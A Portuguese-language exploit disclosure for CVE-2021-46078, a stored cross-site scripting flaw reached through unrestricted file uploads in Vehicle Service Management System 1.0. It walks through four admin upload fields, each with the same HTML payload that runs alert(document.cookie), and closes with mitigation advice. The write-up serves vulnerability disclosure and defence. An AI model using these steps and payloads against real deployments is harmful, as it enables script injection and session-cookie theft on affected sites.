CVE-2021-46078
Título do Exploit: Vehicle Service Management System - Upload de arquivo 'múltiplo' leva a Cross-Site Scripting armazenado
Autor do Exploit: SANU P.L
CVE: CVE-2021-46078
CVSS: 4.8 MÉDIO
Referências:
Descrição:
Existe uma vulnerabilidade de upload de arquivo sem restrições no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode fazer upload de arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting armazenado.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código HTML acima como, por exemplo, XSS.html
- Na seção My Account, insira todos os detalhes necessários e selecione o arquivo HTML no campo Avatar.
- Clique no botão Atualizar.
- Abra a imagem do avatar em uma nova aba.
- O código JavaScript malicioso é acionado.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção User List e clique no botão Create New.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código HTML acima como, por exemplo, XSS.html
- Na página Create New User, insira todos os detalhes necessários e selecione o arquivo HTML no campo Avatar.
- Clique no botão Salvar.
- Abra a imagem do avatar em uma nova aba.
- O código JavaScript malicioso é acionado.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código HTML acima como, por exemplo, XSS.html
- Na seção Settings, insira todos os detalhes necessários e selecione o arquivo HTML no campo System Logo.
- Clique no botão Atualizar.
- Abra a imagem do System Logo em uma nova aba.
- O código JavaScript malicioso é acionado.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código HTML acima como, por exemplo, XSS.html
- Na seção Settings, insira todos os detalhes necessários e selecione o arquivo HTML no campo Website Cover.
- Clique no botão Atualizar.
- Abra a imagem do Website Cover em uma nova aba.
- O código JavaScript malicioso é acionado.
Impacto:
Um atacante pode fazer upload de arquivos maliciosos em vários endpoints, o que leva a Cross-Site Scripting armazenado.
Mitigação:
Recomenda-se implementar o seguinte:
- Nunca aceite um nome de arquivo e sua extensão diretamente sem um filtro de lista branca.
- Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
- Limite o tamanho do arquivo a um valor máximo para evitar ataques de negação de serviço.
- O diretório de upload não deve ter permissão de "execução".
- Não confie apenas na validação do lado do cliente.